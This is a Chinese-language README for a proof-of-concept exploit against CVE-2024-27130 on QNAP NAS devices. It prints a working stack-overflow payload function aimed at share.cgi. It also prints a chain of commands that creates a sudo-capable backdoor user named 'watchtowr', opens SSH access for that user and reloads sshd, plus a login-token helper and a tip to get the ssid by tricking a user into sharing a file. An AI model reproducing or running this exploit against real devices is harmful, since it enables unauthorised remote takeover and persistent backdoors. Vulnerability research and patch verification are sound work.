QNAP CVE-2024-27130 漏洞利用工具
本项目是一个针对 QNAP 网络附加存储设备的 CVE-2024-27130 漏洞的概念验证(PoC)利用工具。该漏洞存在于 QNAP 的文件管理器组件中,通过精心构造的请求,攻击者可以利用栈溢出漏洞在目标设备上执行任意命令,最终获得设备的远程代码执行(RCE)权限。
功能特性
- 自动漏洞利用:一键式利用,自动完成从触发漏洞到添加后门账户的全过程。
- 后门账户创建:利用漏洞在目标系统上创建一个具有
sudo权限的新用户watchtowr,并随机生成强密码。 - SSH 服务激活:自动修改 SSH 配置并重启服务,确保新创建的用户可以通过 SSH 远程登录。
- 自动化登录:利用成功后,工具会自动尝试通过 SSH 连接到目标设备,方便快速验证。
- 配套认证工具:提供独立的
getToken模块,用于在合法登录后获取会话令牌(SID),便于进一步的 API 交互。
安装指南
系统要求
- Python 3.6 或更高版本
- 目标设备需要开启 Web 服务(默认端口 443)
依赖项安装
在运行脚本前,请确保已安装所需的 Python 库。项目依赖项如下:
pip install requests urllib3
平台相关注意事项
- 本工具已在 Linux 和 macOS 上测试通过。在 Windows 上运行可能需要调整
os.system调用的 SSH 命令格式。 - 目标设备必须能够通过 HTTPS 访问。
使用说明
基础使用
-
获取目标设备的 SSID
漏洞利用的第一步是获取一个有效的ssid。通常可以通过诱导设备上的用户分享一个文件,从分享链接中获取该值。 -
运行漏洞利用脚本
使用ssid和目标主机地址作为参数运行CVE-2024-27130.py:python CVE-2024-27130.py <目标IP> <获取到的ssid>例如:
python CVE-2024-27130.py 192.168.1.100 1234567890 -
利用过程
脚本将执行以下操作:- 生成一个随机密码。
- 发送恶意构造的数据包,触发栈溢出漏洞。
- 执行命令链:创建用户
watchtowr、配置 SSH 允许该用户登录、将该用户添加到sudoers文件、重启 SSH 服务。
-
登录验证
利用成功后,脚本会自动尝试通过 SSH 连接到目标设备,并提示新用户的密码:Created new user OK. Log in with password 'xxxxxxxx' when prompted.
典型使用场景
- 安全研究与漏洞验证:安全研究员可以使用此 PoC 验证特定版本 QNAP 设备是否存在 CVE-2024-27130 漏洞。
- 渗透测试:在授权的情况下,测试人员可以利用此工具评估目标 QNAP 设备的安全性。
- 应急响应:管理员可使用此工具快速验证设备是否易受攻击,以便及时部署补丁。
API 概览
getToken 函数
此函数用于通过合法凭证获取会话令牌(SID),是 CVE-2024-27130.py 的辅助工具,也可独立用于其他需要认证的 API 交互。
def getToken(host, username, password):
# 发送登录请求
# 返回 authSid
参数:
host(str): 目标主机 IP 或域名。username(str): 合法的 QNAP 管理员用户名。password(str): 对应的密码。
返回值:
sid(str): 成功登录后的会话令牌。
核心代码
漏洞利用核心函数 docmd
该函数负责构造恶意 payload 并发送到目标设备的 /cgi-bin/filemanager/share.cgi 端点。关键步骤包括:
- 将待执行的命令填充到特定缓冲区。
- 使用特定字节(如
0x54140508)作为分隔符覆盖返回地址。 - 通过 POST 请求发送,触发栈溢出,劫持程序控制流。
def docmd(args, cmd):
print(f"Doing command '{cmd}'")
buf = cmd
buf = buf + b'A' * (4082 - len(buf)) # 填充缓冲区
buf = buf + (0x54140508).to_bytes(4, 'little') # 分隔符
buf = buf + (0x54140508).to_bytes(4, 'little') # r0 and r3
buf = buf + (0x54140508).to_bytes(4, 'little') #
buf = buf + (0x54140508).to_bytes(4, 'little') # r7
buf = buf + (0x73af5148).to_bytes(4, 'little') # pc
payload = {
'ssid': args.ssid,
'func': 'get_file_size',
'total': '1',
'path': '/',
'name': buf
}
requests.post(
f"https://{args.host}/cgi-bin/filemanager/share.cgi",
verify=False,
data=payload,
timeout=2
)
命令执行链
漏洞触发后,会依次执行以下命令,构建一个完整的后门部署流程:
# 1. 创建用户 watchtowr,密码使用 openssl 加密
docmd(args, f"/../../../../usr/local/bin/useradd -p \"$(openssl passwd -6 {parsedArgs.password})\" watchtowr #".encode('ascii'))
# 2. 修改 SSH 配置,允许 watchtowr 用户登录
docmd(args, b"/bin/sed -i -e 's/AllowUsers /AllowUsers watchtowr /' /etc/config/ssh/sshd_config # ")
# 3. 将 watchtowr 添加到 sudoers 文件,赋予其 sudo 权限
docmd(args, b"/../../../../bin/echo watchtowr ALL=\\(ALL\\) ALL >> /usr/etc/sudoers # ")
# 4. 向 sshd 进程发送 SIGHUP 信号,使其重新加载配置
docmd(args, b"/../../../../usr/bin/killall -SIGHUP sshd # ")
辅助认证函数 getToken
此函数用于在合法登录后获取会话令牌,便于进行后续的 API 操作。它通过向 /cgi-bin/authLogin.cgi 发送 Base64 编码的凭证来获取 SID。
def getToken(host, username, password):
resp = requests.post(
f"https://{host}/cgi-bin/authLogin.cgi",
verify=False,
data = {
'user': username,
'serviceKey': 1,
'client_agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36',
'client_app': 'Web Desktop',
'pwd': base64.b64encode(password.encode('ascii')),
'client_id': '3eafe415-4986-4baa-b13c-0eefc4c5f9f6',
'r': '0.8916667046237661'
}
)
resp.raise_for_status()
authSidRE = "<authSid><!\\[CDATA\\[(.{8})\\]\\]></authSid>"
matches = list(re.finditer(authSidRE.encode('ascii'), resp.content))
if len(matches) == 0:
raise Exception("Login failed")
sid = matches[0].groups()[0].decode('ascii')
return sid
6HFtX5dABrKlqXeO5PUv/77nR4oH16cYDyllSHbcqRQ=